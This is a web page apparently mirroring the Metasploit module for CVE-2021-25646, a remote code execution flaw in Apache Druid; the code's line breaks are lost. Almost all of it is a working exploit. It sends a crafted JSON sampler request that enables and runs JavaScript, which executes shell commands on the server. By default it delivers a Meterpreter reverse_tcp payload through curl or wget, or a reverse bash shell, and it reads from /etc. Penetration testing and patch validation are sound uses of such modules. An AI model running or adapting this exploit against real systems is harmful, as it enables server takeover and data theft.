Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/apache_druid_js_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Apache Druid 0.20.0 Remote Command Execution',17'Description' => %q{18Apache Druid includes the ability to execute user-provided JavaScript code embedded in19various types of requests; however, that feature is disabled by default.2021In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request22that both enables the JavaScript code-execution feature and executes the supplied code all23at once, allowing for code execution on the server with the privileges of the Druid Server process.24More critically, authentication is not enabled in Apache Druid by default.2526Tested on the following Apache Druid versions:2728* 0.15.129* 0.16.0-iap830* 0.17.131* 0.18.0-iap332* 0.19.0-iap733* 0.20.0-iap4.134* 0.20.035* 0.21.0-iap336},37'Author' => [38'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery39'je5442804' # Metasploit module40],41'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],42'References' => [43['CVE', '2021-25646'],44['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'],45['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py']46],47'DisclosureDate' => '2021-01-21',48'License' => MSF_LICENSE,49'Platform' => ['unix', 'linux'],50'Targets' => [51[52'Linux (dropper)', {53'Platform' => 'linux',54'Type' => :linux_dropper,55'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl' },56'CmdStagerFlavor' => %w[curl wget],57'Arch' => [ARCH_X86, ARCH_X64]58}59],60[61'Unix (in-memory)', {62'Platform' => 'unix',63'Arch' => ARCH_CMD,64'Type' => :unix_memory,65'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }66}67],68],69'DefaultTarget' => 0,70'Privileged' => false,71'Notes' => {72'Stability' => [CRASH_SAFE],73'Reliability' => [REPEATABLE_SESSION],74'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]75}76)77)7879register_options([80Opt::RPORT(8888),81OptString.new('TARGETURI', [true, 'The base path of Apache Druid', '/'])82])83end8485def execute_command(cmd, _opts = {})86gencmd = '/bin/sh`@~-c`@~' + cmd87genvar = Rex::Text.rand_text_alpha(8..12)88genname = Rex::Text.rand_text_alpha(8..12)89vprint_status("cmd= #{gencmd} var=#{genvar} name=#{genname}")90post_data = {91type: 'index',92spec: {93ioConfig: {94type: 'index',95firehose: {96type: 'local',97baseDir: '/etc',98filter: 'passwd'99}100},101dataSchema: {102dataSource: Rex::Text.rand_text_alpha(8..12),103parser: {104parseSpec: {105format: 'javascript',106timestampSpec: {},107dimensionsSpec: {},108function: "function(){var #{genvar} = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"#{rand(1..9999999)}\",#{genname}: #{genvar}}}",109"": {110enabled: 'true'111}112}113}114}115},116samplerConfig: {117numRows: 10118}119}.to_json120121send_request_cgi({122'method' => 'POST',123'uri' => normalize_uri(target_uri.path, '/druid/indexer/v1/sampler'),124'ctype' => 'application/json',125'headers' => {126'Accept' => 'application/json, text/plain, */*'127},128'data' => post_data129})130end131132def check133genecho = Rex::Text.rand_text_alphanumeric(16..32).gsub(/A/, 'a')134135vprint_status("Attempting to execute 'echo #{genecho}' on the target.")136res = execute_command("echo #{genecho}")137unless res138return CheckCode::Unknown('Connection failed.')139end140141unless res.code == 200142return CheckCode::Safe143end144145if res.body.include?(genecho)146return CheckCode::Vulnerable147end148149CheckCode::Unknown('Target does not seem to be running Apache Druid.')150end151152def exploit153case target['Type']154when :linux_dropper155execute_cmdstager156when :unix_memory157execute_command(payload.encoded)158end159end160161end162163164